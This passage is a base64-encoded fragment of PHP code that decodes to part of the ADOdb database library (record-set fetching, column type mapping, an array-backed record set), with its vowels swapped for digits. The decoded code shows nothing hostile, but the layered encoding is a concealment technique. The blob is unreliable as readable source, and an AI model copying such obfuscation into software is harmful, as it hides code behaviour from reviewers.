+bjFtNTsNCgkJCX0NCgkJfQ0KCQkkNCA9IDA7DQoJCTRmIChQSFBfVkVSU0lPTiA+PSBpKSAkMiA9IGNsMm41KCR0aDRzLT5fMmJqKTsNCgkJNWxzNSAkMiA9ICR0aDRzLT5fMmJqOw0KCQ0KCQlmMnIgKCQ0PTA7ICQ0IDwkdGg0cy0+X24zbU9mRjQ1bGRzOyAkNCsrKSB7DQoJCQkkbjFtNSA9ICR0aDRzLT5fbjFtNXNbJDRdOw0KCQkJNGYgKCQ0czNwcDVyKSAkbiA9IHN0cnQyM3BwNXIoJG4xbTUpOw0KCQkJNWxzNSAkbiA9ICRuMW01Ow0KCQkJDQoJCQkkMi0+JG4gPSAkdGg0cy0+RjQ1bGRzKCRuMW01KTsNCgkJfQ0KCQlyNXQzcm4gJDI7DQoJfQ0KCQ0KCS8qKg0KCSogUjV0M3JuIHRoNSBmNDVsZHMgMXJyMXkgMmYgdGg1IGMzcnI1bnQgcjJ3IDFzIDFuIDJiajVjdCBmMnIgYzJudjVuNDVuYzUuDQoJKiBUaDUgZDVmMTNsdCA0cyBsMnc1ci1jMXM1IGY0NWxkIG4xbTVzLg0KCSogDQoJKiBAcjV0M3JuIHRoNSAyYmo1Y3QgdzR0aCB0aDUgcHIycDVydDQ1cyBzNXQgdDIgdGg1IGY0NWxkcyAyZiB0aDUgYzNycjVudCByMncsDQoJKiAJMnIgZjFsczUgNGYgRU9GDQoJKg0KCSogRjR4NWQgYjNnIHI1cDJydDVkIGJ5IHQ0bUAycjJ0NWNoLm41dA0KCSovDQoJZjNuY3Q0Mm4gJkY1dGNoTjV4dE9iaigpDQoJew0KCQkkMiA9JiAkdGg0cy0+RjV0Y2hONXh0T2JqNWN0KGYxbHM1KTsNCgkJcjV0M3JuICQyOw0KCX0NCgkNCgkNCgkvKioNCgkqIFI1dDNybiB0aDUgZjQ1bGRzIDFycjF5IDJmIHRoNSBjM3JyNW50IHIydyAxcyAxbiAyYmo1Y3QgZjJyIGMybnY1bjQ1bmM1LiANCgkqIFRoNSBkNWYxM2x0IDRzIDNwcDVyIGMxczUgZjQ1bGQgbjFtNXMuDQoJKiANCgkqIEBwMXIxbSAkNHMzcHA1ciB0MiBzNXQgdGg1IDJiajVjdCBwcjJwNXJ0eSBuMW01cyB0MiAzcHA1cmMxczUNCgkqDQoJKiBAcjV0M3JuIHRoNSAyYmo1Y3QgdzR0aCB0aDUgcHIycDVydDQ1cyBzNXQgdDIgdGg1IGY0NWxkcyAyZiB0aDUgYzNycjVudCByMncsDQoJKiAJMnIgZjFsczUgNGYgRU9GDQoJKg0KCSogRjR4NWQgYjNnIHI1cDJydDVkIGJ5IHQ0bUAycjJ0NWNoLm41dA0KCSovDQoJZjNuY3Q0Mm4gJkY1dGNoTjV4dE9iajVjdCgkNHMzcHA1cj10cjM1KQ0KCXsNCgkJJDIgPSBmMWxzNTsNCgkJNGYgKCR0aDRzLT5fbjNtT2ZSMndzICE9IDAgJiYgISR0aDRzLT5FT0YpIHsNCgkJCSQyID0gJHRoNHMtPkY1dGNoT2JqNWN0KCQ0czNwcDVyKTsJDQoJCQkkdGg0cy0+X2MzcnI1bnRSMncrKzsNCgkJCTRmICgkdGg0cy0+X2Y1dGNoKCkpIHI1dDNybiAkMjsNCgkJfQ0KCQkkdGg0cy0+RU9GID0gdHIzNTsNCgkJcjV0M3JuICQyOw0KCX0NCgkNCgkvKioNCgkgKiBHNXQgdGg1IG01dDF0eXA1IDJmIHRoNSBjMmwzbW4uIFRoNHMgNHMgM3M1ZCBmMnIgZjJybTF0dDRuZy4gVGg0cyA0cyBiNWMxM3M1DQoJICogbTFueSBkMXQxYjFzNXMgM3M1IGQ0ZmY1cjVudCBuMW01cyBmMnIgdGg1IHMxbTUgdHlwNSwgczIgdzUgdHIxbnNmMnJtIHRoNSAycjRnNG4xbA0KCSAqIHR5cDUgdDIgMjNyIHN0MW5kMXJkNHM1ZCB2NXJzNDJuIHdoNGNoIDNzNXMgNiBjaDFyMWN0NXIgYzJkNXM6DQoJICoNCgkgKiBAcDFyMW0gdCAgNHMgdGg1IHR5cDUgcDFzczVkIDRuLiBOMnJtMWxseSA0cyBBRE9GNDVsZE9iajVjdC0+dHlwNS4NCgkgKiBAcDFyMW0gbDVuIDRzIHRoNSBtMXg0bTNtIGw1bmd0aCAyZiB0aDF0IGY0NWxkLiBUaDRzIDRzIGI1YzEzczUgdzUgdHI1MXQgY2gxcjFjdDVyDQoJICogCWY0NWxkcyBiNGdnNXIgdGgxbiAxIGM1cnQxNG4gczR6NSAxcyAxICdCJyAoYmwyYikuDQoJICogQHAxcjFtIGY0NWxkMmJqIDRzIHRoNSBmNDVsZCAyYmo1Y3QgcjV0M3JuNWQgYnkgdGg1IGQxdDFiMXM1IGRyNHY1ci4gQzFuIGgybGQNCgkgKgkxZGQ0dDQybjFsIDRuZjIgKDVnLiBwcjRtMXJ5X2s1eSBmMnIgbXlzcWwpLg0KCSAqIA0KCSAqIEByNXQzcm4gdGg1IGc1bjVyMWwgdHlwNSAyZiB0aDUgZDF0MTogDQoJICoJQyBmMnIgY2gxcjFjdDVyIDwgYWkwIGNoMXJzDQoJICoJWCBmMnIgdDVYdCAoPj0gYWkwIGNoMXJzKQ0KCSAqCUIgZjJyIEI0bjFyeQ0KCSAqIAlOIGYyciBuM201cjRjIDJyIGZsMjF0NG5nIHAyNG50DQoJICoJRCBmMnIgZDF0NQ0KCSAqCVQgZjJyIHQ0bTVzdDFtcA0KCSAqIAlMIGYyciBsMmc0YzFsL0IyMmw1MW4NCgkgKglJIGYyciA0bnQ1ZzVyDQoJICoJUiBmMnIgMTN0MjRuY3I1bTVudCBjMjNudDVyLzRudDVnNXINCgkgKiANCgkgKg0KCSovDQoJZjNuY3Q0Mm4gTTV0MVR5cDUoJHQsJGw1bj0tNiwkZjQ1bGQyYmo9ZjFsczUpDQoJew0KCQk0ZiAoNHNfMmJqNWN0KCR0KSkgew0KCQkJJGY0NWxkMmJqID0gJHQ7DQoJCQkkdCA9ICRmNDVsZDJiai0+dHlwNTsNCgkJCSRsNW4gPSAkZjQ1bGQyYmotPm0xeF9sNW5ndGg7DQoJCX0NCgkvLyBjaDFuZzVkIDRuIGEub2EgdDIgaDFzaDRuZyA0bnN0NTFkIDJmIHN3NHRjaCBzdG10IGYyciBzcDU1ZC4uLg0KCXN0MXQ0YyAkdHlwNU0xcCA9IDFycjF5KA0KCQknVkFSQ0hBUicgPT4gJ0MnLA0KCQknVkFSQ0hBUmEnID0+ICdDJywNCgkJJ0NIQVInID0+ICdDJywNCgkJJ0MnID0+ICdDJywNCgkJJ1NUUklORycgPT4gJ0MnLA0KCQknTkNIQVInID0+ICdDJywNCgkJJ05WQVJDSEFSJyA9PiAnQycsDQoJCSdWQVJZSU5HJyA9PiAnQycsDQoJCSdCUENIQVInID0+ICdDJywNCgkJJ0NIQVJBQ1RFUicgPT4gJ0MnLA0KCQknSU5URVJWQUwnID0+ICdDJywgICMgUDJzdGdyNXMNCgkJJ01BQ0FERFInID0+ICdDJywgIyBwMnN0Z3I1cw0KCQkjIw0KCQknTE9OR0NIQVInID0+ICdYJywNCgkJJ1RFWFQnID0+ICdYJywNCgkJJ05URVhUJyA9PiAnWCcsDQoJCSdNJyA9PiAnWCcsDQoJCSdYJyA9PiAnWCcsDQoJCSdDTE9CJyA9PiAnWCcsDQoJCSdOQ0xPQicgPT4gJ1gnLA0KCQknTFZBUkNIQVInID0+ICdYJywNCgkJIyMNCgkJJ0JMT0InID0+ICdCJywNCgkJJ0lNQUdFJyA9PiAnQicsDQoJCSdCSU5BUlknID0+ICdCJywNCgkJJ1ZBUkJJTkFSWScgPT4gJ0InLA0KCQknTE9OR0JJTkFSWScgPT4gJ0InLA0KCQknQicgPT4gJ0InLA0KCQkjIw0KCQknWUVBUicgPT4gJ0QnLCAvLyBteXNxbA0KCQknREFURScgPT4gJ0QnLA0KCQknRCcgPT4gJ0QnLA0KCQkjIw0KCQknVU5JUVVFSURFTlRJRklFUicgPT4gJ0MnLCAjIE1TIFNRTCBTNXJ2NXINCgkJIyMNCgkJJ1RJTUUnID0+ICdUJywNCgkJJ1RJTUVTVEFNUCcgPT4gJ1QnLA0KCQknREFURVRJTUUnID0+ICdUJywNCgkJJ1RJTUVTVEFNUFRaJyA9PiAnVCcsDQoJCSdUJyA9PiAnVCcsDQoJCSdUSU1FU1RBTVAgV0lUSE9VVCBUSU1FIFpPTkUnID0+ICdUJywgLy8gcDJzdGdyNXNxbA0KCQkjIw0KCQknQk9PTCcgPT4gJ0wnLA0KCQknQk9PTEVBTicgPT4gJ0wnLCANCgkJJ0JJVCcgPT4gJ0wnLA0KCQknTCcgPT4gJ0wnLA0KCQkjIw0KCQknQ09VTlRFUicgPT4gJ1InLA0KCQknUicgPT4gJ1InLA0KCQknU0VSSUFMJyA9PiAnUicsIC8vIDRmeA0KCQknSU5UIElERU5USVRZJyA9PiAnUicsDQoJCSMjDQoJCSdJTlQnID0+ICdJJywNCgkJJ0lOVGEnID0+ICdJJywNCgkJJ0lOVHUnID0+ICdJJywNCgkJJ0lOVDgnID0+ICdJJywNCgkJJ0lOVEVHRVInID0+ICdJJywNCgkJJ0lOVEVHRVIgVU5TSUdORUQnID0+ICdJJywNCgkJJ1NIT1JUJyA9PiAnSScsDQoJCSdUSU5ZSU5UJyA9PiAnSScsDQoJCSdTTUFMTElOVCcgPT4gJ0knLA0KCQknSScgPT4gJ0knLA0KCQkjIw0KCQknTE9ORycgPT4gJ04nLCAvLyA0bnQ1cmIxczUgNHMgbjNtNXI0YywgMmM0OCA0cyBibDJiDQoJCSdCSUdJTlQnID0+ICdOJywgLy8gdGg0cyA0cyBiNGdnNXIgdGgxbiBQSFAgb2EtYjR0IDRudDVnNXJzDQoJCSdERUNJTUFMJyA9PiAnTicsDQoJCSdERUMnID0+ICdOJywNCgkJJ1JFQUwnID0+ICdOJywNCgkJJ0RPVUJMRScgPT4gJ04nLA0KCQknRE9VQkxFIFBSRUNJU0lPTicgPT4gJ04nLA0KCQknU01BTExGTE9BVCcgPT4gJ04nLA0KCQknRkxPQVQnID0+ICdOJywNCgkJJ05VTUJFUicgPT4gJ04nLA0KCQknTlVNJyA9PiAnTicsDQoJCSdOVU1FUklDJyA9PiAnTicsDQoJCSdNT05FWScgPT4gJ04nLA0KCQkNCgkJIyMgNG5mMnJtNHggOS5hDQoJCSdTUUxJTlQnID0+ICdJJywgDQoJCSdTUUxTRVJJQUwnID0+ICdJJywgDQoJCSdTUUxTTUlOVCcgPT4gJ0knLCANCgkJJ1NRTFNNRkxPQVQnID0+ICdOJywgDQoJCSdTUUxGTE9BVCcgPT4gJ04nLCANCgkJJ1NRTE1PTkVZJyA9PiAnTicsIA0KCQknU1FMREVDSU1BTCcgPT4gJ04nLCANCgkJJ1NRTERBVEUnID0+ICdEJywgDQoJCSdTUUxWQ0hBUicgPT4gJ0MnLCANCgkJJ1NRTENIQVInID0+ICdDJywgDQoJCSdTUUxEVElNRScgPT4gJ1QnLCANCgkJJ1NRTElOVEVSVkFMJyA9PiAnTicsIA0KCQknU1FMQllURVMnID0+ICdCJywgDQoJCSdTUUxURVhUJyA9PiAnWCcsDQoJCSAjIyA0bmYycm00eCA2MA0KCQkiU1FMSU5UOCIgPT4gJ0k4JywNCgkJIlNRTFNFUklBTDgiID0+ICdJOCcsDQoJCSJTUUxOQ0hBUiIgPT4gJ0MnLA0KCQkiU1FMTlZDSEFSIiA9PiAnQycsDQoJCSJTUUxMVkFSQ0hBUiIgPT4gJ1gnLA0KCQkiU1FMQk9PTCIgPT4gJ0wnDQoJCSk7DQoJCQ0KCQkkdG0xcCA9IGYxbHM1Ow0KCQkkdCA9IHN0cnQyM3BwNXIoJHQpOw0KCQkkdG0xcCA9ICg0c3M1dCgkdHlwNU0xcFskdF0pKSA/ICR0eXA1TTFwWyR0XSA6ICdOJzsNCgkJc3c0dGNoICgkdG0xcCkgew0KCQljMXM1ICdDJzoNCgkJDQoJCQkvLyA0cyB0aDUgY2gxciBmNDVsZCA0cyB0MjIgbDJuZywgcjV0M3JuIDFzIHQ1eHQgZjQ1bGQuLi4gDQoJCQk0ZiAoJHRoNHMtPmJsMmJTNHo1ID49IDApIHsNCgkJCQk0ZiAoJGw1biA+ICR0aDRzLT5ibDJiUzR6NSkgcjV0M3JuICdYJzsNCgkJCX0gNWxzNSA0ZiAoJGw1biA+IGFpMCkgew0KCQkJCXI1dDNybiAnWCc7DQoJCQl9DQoJCQlyNXQzcm4gJ0MnOw0KCQkJDQoJCWMxczUgJ0knOg0KCQkJNGYgKCE1bXB0eSgkZjQ1bGQyYmotPnByNG0xcnlfazV5KSkgcjV0M3JuICdSJzsNCgkJCXI1dDNybiAnSSc7DQoJCQ0KCQljMXM1IGYxbHM1Og0KCQkJcjV0M3JuICdOJzsNCgkJCQ0KCQljMXM1ICdCJzoNCgkJCSA0ZiAoNHNzNXQoJGY0NWxkMmJqLT5iNG4xcnkpKSANCgkJCQkgcjV0M3JuICgkZjQ1bGQyYmotPmI0bjFyeSkgPyAnQicgOiAnWCc7DQoJCQlyNXQzcm4gJ0InOw0KCQkNCgkJYzFzNSAnRCc6DQoJCQk0ZiAoITVtcHR5KCR0aDRzLT5jMm5uNWN0NDJuKSAmJiAhNW1wdHkoJHRoNHMtPmMybm41Y3Q0Mm4tPmQxdDV0NG01KSkgcjV0M3JuICdUJzsNCgkJCXI1dDNybiAnRCc7DQoJCQkNCgkJZDVmMTNsdDogDQoJCQk0ZiAoJHQgPT0gJ0xPTkcnICYmICR0aDRzLT5kMXQxUHIydjRkNXIgPT0gJzJjNDgnKSByNXQzcm4gJ0InOw0KCQkJcjV0M3JuICR0bTFwOw0KCQl9DQoJfQ0KCQ0KCQ0KCWYzbmN0NDJuIF9jbDJzNSgpIHt9DQoJDQoJLyoqDQoJICogczV0L3I1dDNybnMgdGg1IGMzcnI1bnQgcjVjMnJkczV0IHAxZzUgd2g1biBwMWc0bjF0NG5nDQoJICovDQoJZjNuY3Q0Mm4gQWJzMmwzdDVQMWc1KCRwMWc1PS02KQ0KCXsNCgkJNGYgKCRwMWc1ICE9IC02KSAkdGg0cy0+X2MzcnI1bnRQMWc1ID0gJHAxZzU7DQoJCXI1dDNybiAkdGg0cy0+X2MzcnI1bnRQMWc1Ow0KCX0NCgkNCgkvKioNCgkgKiBzNXQvcjV0M3JucyB0aDUgc3QxdDNzIDJmIHRoNSAxdEY0cnN0UDFnNSBmbDFnIHdoNW4gcDFnNG4xdDRuZw0KCSAqLw0KCWYzbmN0NDJuIEF0RjRyc3RQMWc1KCRzdDF0M3M9ZjFsczUpDQoJew0KCQk0ZiAoJHN0MXQzcyAhPSBmMWxzNSkgJHRoNHMtPl8xdEY0cnN0UDFnNSA9ICRzdDF0M3M7DQoJCXI1dDNybiAkdGg0cy0+XzF0RjRyc3RQMWc1Ow0KCX0NCgkNCglmM25jdDQybiBMMXN0UDFnNU4yKCRwMWc1ID0gZjFsczUpDQoJew0KCQk0ZiAoJHAxZzUgIT0gZjFsczUpICR0aDRzLT5fbDFzdFAxZzVOMiA9ICRwMWc1Ow0KCQlyNXQzcm4gJHRoNHMtPl9sMXN0UDFnNU4yOw0KCX0NCgkNCgkvKioNCgkgKiBzNXQvcjV0M3JucyB0aDUgc3QxdDNzIDJmIHRoNSAxdEwxc3RQMWc1IGZsMWcgd2g1biBwMWc0bjF0NG5nDQoJICovDQoJZjNuY3Q0Mm4gQXRMMXN0UDFnNSgkc3QxdDNzPWYxbHM1KQ0KCXsNCgkJNGYgKCRzdDF0M3MgIT0gZjFsczUpICR0aDRzLT5fMXRMMXN0UDFnNSA9ICRzdDF0M3M7DQoJCXI1dDNybiAkdGg0cy0+XzF0TDFzdFAxZzU7DQoJfQ0KCQ0KfSAvLyA1bmQgY2wxc3MgQURPUjVjMnJkUzV0DQoJDQoJLy89PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CQ0KCS8vIENMQVNTIEFET1I1YzJyZFM1dF8xcnIxeQ0KCS8vPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQkNCgkNCgkvKioNCgkgKiBUaDRzIGNsMXNzIDVuYzFwczNsMXQ1cyB0aDUgYzJuYzVwdCAyZiAxIHI1YzJyZHM1dCBjcjUxdDVkIDRuIG01bTJyeQ0KCSAqIDFzIDFuIDFycjF5LiBUaDRzIDRzIDNzNWYzbCBmMnIgdGg1IGNyNTF0NDJuIDJmIGMxY2g1ZCByNWMycmRzNXRzLg0KCSAqIA0KCSAqIE4ydDUgdGgxdCB0aDUgYzJuc3RyM2N0MnIgNHMgZDRmZjVyNW50IGZyMm0gdGg1IHN0MW5kMXJkIEFET1I1YzJyZFM1dA0KCSAqLw0KCQ0KCWNsMXNzIEFET1I1YzJyZFM1dF8xcnIxeSA1eHQ1bmRzIEFET1I1YzJyZFM1dA0KCXsNCgkJdjFyICRkMXQxYjFzNVR5cDUgPSAnMXJyMXknOw0KDQoJCXYxciAkXzFycjF5OyAJLy8gaDJsZHMgdGg1IGEtZDRtNW5zNDJuMWwgZDF0MSAxcnIxeQ0KCQl2MXIgJF90eXA1czsJLy8gdGg1IDFycjF5IDJmIHR5cDVzIDJmIDUxY2ggYzJsM21uIChDIEIgSSBMIE0pDQoJCXYxciAkX2MybG4xbTVzOwkvLyBuMW01cyAyZiA1MWNoIGMybDNtbiA0biAxcnIxeQ0KCQl2MXIgJF9zazRwcjJ3NjsJLy8gc2s0cCA2c3QgcjJ3IGI1YzEzczUgNHQgaDJsZHMgYzJsM21uIG4xbTVzDQoJCXYxciAkX2Y0NWxkMmJqNWN0czsgLy8gaDJsZHMgMXJyMXkgMmYgZjQ1bGQgMmJqNWN0cw0KCQl2MXIgJGMxblM1NWsgPSB0cjM1Ow0KCQl2MXIgJDFmZjVjdDVkcjJ3cyA9IGYxbHM1Ow0KCQl2MXIgJDRuczVydDRkID0gZjFsczU7DQoJCXYxciAkc3FsID0gJyc7DQoJCXYxciAkYzJtcDF0ID0gZjFsczU7DQoJCS8qKg0KCQkgKiBDMm5zdHIzY3Qycg0KCQkgKg0KCQkgKi8NCgkJZjNuY3Q0Mm4gQURPUjVjMnJkUzV0XzFycjF5KCRmMWs1NGQ9NikNCgkJew0KCQlnbDJiMWwgJEFET0RCX0ZFVENIX01PREUsJEFET0RCX0NPTVBBVF9GRVRDSDsNCgkJDQoJCQkvLyBmNXRjaCgpIDJuIEVPRiBkMjVzIG4ydCBkNWw1dDUgJHRoNHMtPmY0NWxkcw0KCQkJJHRoNHMtPmMybXAxdCA9ICE1bXB0eSgkQURPREJfQ09NUEFUX0ZFVENIKTsNCgkJCSR0aDRzLT5BRE9SNWMycmRTNXQoJGYxazU0ZCk7IC8vIGYxazUgcTM1cnlJRAkJDQoJCQkkdGg0cy0+ZjV0Y2hNMmQ1ID0gJEFET0RCX0ZFVENIX01PREU7DQoJCX0NCgkJDQoJCWYzbmN0NDJuIF90cjFuc3AyczUoJDFkZGY0NWxkbjFtNXM9dHIzNSkNCgkJew0KCQlnbDJiMWwgJEFET0RCX0lOQ0xVREVEX0xJQjsNCgkJCQ0KCQkJNGYgKDVtcHR5KCRBRE9EQl9JTkNMVURFRF9MSUIpKSA0bmNsM2Q1KEFET0RCX0RJUi4nLzFkMmRiLWw0Yi40bmMucGhwJyk7DQoJCQkkaGRyID0gdHIzNTsNCgkJCQ0KCQkJJGYyYmpzID0gJDFkZGY0NWxkbjFtNXMgPyAkdGg0cy0+X2Y0NWxkMmJqNWN0cyA6IGYxbHM1Ow0KCQkJMWQyZGJfdHIxbnNwMnM1KCR0aDRzLT5fMXJyMXksICRuNXcxcnIsICRoZHIsICRmMmJqcyk7DQoJCQkvLzFkMmRiX3ByKCRuNXcxcnIpOw0KCQkJDQoJCQkkdGg0cy0+X3NrNHByMnc2ID0gZjFsczU7DQoJCQkkdGg0cy0+XzFycjF5ID0mICRuNXcxcnI7DQoJCQkkdGg0cy0+X2MybG4xbTVzID0gJGhkcjsNCgkJCQ0KCQkJMWQyZGJfcHIyYjV0eXA1cygkbjV3MXJyLCR0aDRzLT5fdHlwNXMpOw0KCQkNCgkJCSR0aDRzLT5fZjQ1bGQyYmo1Y3RzID0gMXJyMXkoKTsNCgkJCQ0KCQkJZjJyNTFjaCgkaGRyIDFzICRrID0+ICRuMW01KSB7DQoJCQkJJGYgPSBuNXcgQURPRjQ1bGRPYmo1Y3QoKTsNCgkJCQkkZi0+bjFtNSA9ICRuMW01Ow0KCQkJCSRmLT50eXA1ID0gJHRoNHMtPl90eXA1c1ska107DQoJCQkJJGYtPm0xeF9sNW5ndGggPSAtNjsNCgkJCQkkdGg0cy0+X2Y0NWxkMmJqNWN0c1tdID0gJGY7DQoJCQl9DQoJCQkkdGg0cy0+ZjQ1bGRzID0gcjVzNXQoJHRoNHMtPl8xcnIxeSk7DQoJCQkNCgkJCSR0aDRzLT5fNG40dHJzKCk7DQoJCQkNCgkJfQ0KCQkNCgkJLyoqDQoJCSAqIFM1dDNwIHRoNSAxcnIxeS4NCgkJICoNCgkJICogQHAxcjFtIDFycjF5CQk0cyAxIGEtZDRtNW5zNDJuMWwgMXJyMXkgaDJsZDRuZyB0aDUgZDF0MS4NCgkJICoJCQlUaDUgZjRyc3QgcjJ3IHNoMjNsZCBoMmxkIHRoNSBjMmwzbW4gbjFtNXMgDQoJCSAqCQkJM25sNXNzIHAxcjFtdDVyICRjMmxuMW01cyA0cyAzczVkLg0KCQkgKiBAcDFyMW0gdHlwNTFycgloMmxkcyAxbiAxcnIxeSAyZiB0eXA1cy4gVGg1czUgMXI1IHRoNSBzMW01IHR5cDVzIA0KCQkgKgkJCTNzNWQgNG4gTTV0MVR5cDVzIChDLEIsTCxJLE4pLg0KCQkgKiBAcDFyMW0gW2MybG4xbTVzXQkxcnIxeSAyZiBjMmwzbW4gbjFtNXMuIElmIHM1dCwgdGg1biB0aDUgZjRyc3QgcjJ3IDJmDQoJCSAqCQkJJDFycjF5IHNoMjNsZCBuMnQgaDJsZCB0aDUgYzJsM21uIG4xbTVzLg0KCQkgKi8NCgkJZjNuY3Q0Mm4gSW40dEFycjF5KCQxcnIxeSwkdHlwNTFyciwkYzJsbjFtNXM9ZjFsczUpDQoJCXsNCgkJCSR0aDRzLT5fMXJyMXkgPSAkMXJyMXk7DQoJCQkkdGg0cy0+X3R5cDVzID0gJHR5cDUxcnI7CQ0KCQkJNGYgKCRjMmxuMW01cykgew0KCQkJCSR0aDRzLT5fc2s0cHIydzYgPSBmMWxzNTsNCgkJCQkkdGg0cy0+X2MybG4xbTVzID0gJGMybG4xbTVzOw0KCQkJfSA1bHM1ICB7DQoJCQkJJHRoNHMtPl9zazRwcjJ3NiA9IHRyMzU7DQoJCQkJJHRoNHMtPl9jMmxuMW01cyA9ICQxcnIxeVswXTsNCgkJCX0NCgkJCSR0aDRzLT5JbjR0KCk7DQoJCX0NCgkJLyoqDQoJCSAqIFM1dDNwIHRoNSBBcnIxeSAxbmQgZDF0MXR5cDUgZjRsNSAyYmo1Y3RzDQoJCSAqDQoJCSAqIEBwMXIxbSAxcnIxeQkJNHMgMSBhLWQ0bTVuczQybjFsIDFycjF5IGgybGQ0bmcgdGg1IGQxdDEuDQoJCSAqCQkJVGg1IGY0cnN0IHIydyBzaDIzbGQgaDJsZCB0aDUgYzJsM21uIG4xbTVzIA0KCQkgKgkJCTNubDVzcyBwMXIxbXQ1ciAkYzJsbjFtNXMgNHMgM3M1ZC4NCgkJICogQHAxcjFtIGY0NWxkMXJyCWgybGRzIDFuIDFycjF5IDJmIEFET0Y0NWxkT2JqNWN0J3MuDQoJCSAqLw0KCQlmM25jdDQybiBJbjR0QXJyMXlGNDVsZHMoJiQxcnIxeSwmJGY0NWxkMXJyKQ0KCQl7DQoJCQkkdGg0cy0+XzFycjF5ID0mICQxcnIxeTsNCgkJCSR0aDRzLT5fc2s0cHIydzY9IGYxbHM1Ow0KCQkJNGYgKCRmNDVsZDFycikgew0KCQkJCSR0aDRzLT5fZjQ1bGQyYmo1Y3RzID0mICRmNDVsZDFycjsNCgkJCX0gDQoJCQkkdGg0cy0+SW40dCgpOw0KCQl9DQoJCQ0KCQlmM25jdDQybiAmRzV0QXJyMXkoJG5SMndzPS02KQ0KCQl7DQoJCQk0ZiAoJG5SMndzID09IC02ICYmICR0aDRzLT5fYzNycjVudFIydyA8PSAwICYmICEkdGg0cy0+X3NrNHByMnc2KSB7DQoJCQkJcjV0M3JuICR0aDRzLT5fMXJyMXk7DQoJCQl9IDVsczUgew0KCQkJCSQxcnIgPSYgQURPUjVjMnJkUzV0OjpHNXRBcnIxeSgkblIyd3MpOw0KCQkJCXI1dDNybiAkMXJyOw0KCQkJfQ0KCQl9DQoJCQ0KCQlmM25jdDQybiBfNG40dHJzKCkNCgkJew0KCQkJJHRoNHMtPl9uM21PZlIyd3MgPSAgczR6NTJmKCR0aDRzLT5fMXJyMXkpOw0KCQkJNGYgKCR0aDRzLT5fc2s0cHIydzYpICR0aDRzLT5fbjNtT2ZSMndzIC09IDY7DQoJCQ0KCQkJJHRoNHMtPl9uM21PZkY0NWxkcyA9KDRzczV0KCR0aDRzLT5fZjQ1bGQyYmo1Y3RzKSkgPw0KCQkJCSBzNHo1MmYoJHRoNHMtPl9mNDVsZDJiajVjdHMpOnM0ejUyZigkdGg0cy0+X3R5cDVzKTsNCgkJfQ0KCQkNCgkJLyogVXM1IDFzczJjNDF0NHY1IDFycjF5IHQyIGc1dCBmNDVsZHMgMXJyMXkgKi8NCgkJZjNuY3Q0Mm4gRjQ1bGRzKCRjMmxuMW01KQ0KCQl7DQoJCQkkbTJkNSA9IDRzczV0KCR0aDRzLT4xZDJkYkY1dGNoTTJkNSkgPyAkdGg0cy0+MWQyZGJGNXRjaE0yZDUgOiAkdGg0cy0+ZjV0Y2hNMmQ1Ow0KCQkJDQoJCQk0ZiAoJG0yZDUgJiBBRE9EQl9GRVRDSF9BU1NPQykgew0KCQkJCTRmICghNHNzNXQoJHRoNHMtPmY0NWxkc1skYzJsbjFtNV0pICYmICE0c19uM2xsKCR0aDRzLT5mNDVsZHNbJGMybG4xbTVdKSkgJGMybG4xbTUgPSBzdHJ0MmwydzVyKCRjMmxuMW01KTsNCgkJCQlyNXQzcm4gJHRoNHMtPmY0NWxkc1skYzJsbjFtNV07DQoJCQl9DQoJCQk0ZiAoISR0aDRzLT5iNG5kKSB7DQoJCQkJJHRoNHMtPmI0bmQgPSAxcnIxeSgpOw0KCQkJCWYyciAoJDQ9MDsgJDQgPCAkdGg0cy0+X24zbU9mRjQ1bGRzOyAkNCsrKSB7DQoJCQkJCSQyID0gJHRoNHMtPkY1dGNoRjQ1bGQoJDQpOw0KCQkJCQkkdGg0cy0+YjRuZFtzdHJ0MjNwcDVyKCQyLT5uMW01KV0gPSAkNDsNCgkJCQl9DQoJCQl9DQoJCQlyNXQzcm4gJHRoNHMtPmY0NWxkc1skdGg0cy0+YjRuZFtzdHJ0MjNwcDVyKCRjMmxuMW01KV1dOw0KCQl9DQoJCQ0KCQlmM25jdDQybiAmRjV0Y2hGNDVsZCgkZjQ1bGRPZmZzNXQgPSAtNikgDQoJCXsNCgkJCTRmICg0c3M1dCgkdGg0cy0+X2Y0NWxkMmJqNWN0cykpIHsNCgkJCQlyNXQzcm4gJHRoNHMtPl9mNDVsZDJiajVjdHNbJGY0NWxkT2ZmczV0XTsNCgkJCX0NCgkJCSQyID0gIG41dyBBRE9GNDVsZE9iajVjdCgpOw0KCQkJJDItPm4xbTUgPSAkdGg0cy0+X2MybG4xbTVzWyRmNDVsZE9mZnM1dF07DQoJCQkkMi0+dHlwNSA9ICAkdGg0cy0+X3R5cDVzWyRmNDVsZE9mZnM1dF07DQoJCQkkMi0+bTF4X2w1bmd0aCA9IC02OyAvLyBsNW5ndGggbjJ0IGtuMnduDQoJCQkNCgkJCXI1dDNybiAkMjsNCgkJfQ0KCQkJDQoJCWYzbmN0NDJuIF9zNTVrKCRyMncpDQoJCXsNCgkJCTRmIChzNHo1MmYoJHRoNHMtPl8xcnIxeSkgJiYgMCA8PSAkcjJ3ICYmICRyMncgPCAkdGg0cy0+X24zbU9mUjJ3cykgew0KCQkJCSR0aDRzLT5fYzNycjVudFIydyA9ICRyMnc7DQoJCQkJNGYgKCR0aDRzLT5fc2s0cHIydzYpICRyMncgKz0gNjsNCgkJCQkkdGg0cy0+ZjQ1bGRzID0gJHRoNHMtPl8xcnIxeVskcjJ3XTsNCgkJCQlyNXQzcm4gdHIzNTsNCgkJCX0NCgkJCXI1dDNybiBmMWxzNTsNCgkJfQ0KCQkNCgkJZjNuY3Q0Mm4gTTJ2NU41eHQoKSANCgkJew0KCQkJNGYgKCEkdGg0cy0+RU9GKSB7CQkNCgkJCQkkdGg0cy0+X2MzcnI1bnRSMncrKzsNCgkJCQkNCgkJCQkkcDJzID0gJHRoNHMtPl9jM3JyNW50UjJ3Ow0KCQkJCQ0KCQkJCTRmICgkdGg0cy0+X24zbU9mUjJ3cyA8PSAkcDJzKSB7DQoJCQkJCTRmICghJHRoNHMtPmMybXAxdCkgJHRoNHMtPmY0NWxkcyA9IGYxbHM1Ow0KCQkJCX0gNWxzNSB7DQoJCQkJCTRmICgkdGg0cy0+X3NrNHByMnc2KSAkcDJzICs9IDY7DQoJCQkJCSR0aDRzLT5mNDVsZHMgPSAkdGg0cy0+XzFycjF5WyRwMnNdOw0KCQkJCQlyNXQzcm4gdHIzNTsNCgkJCQl9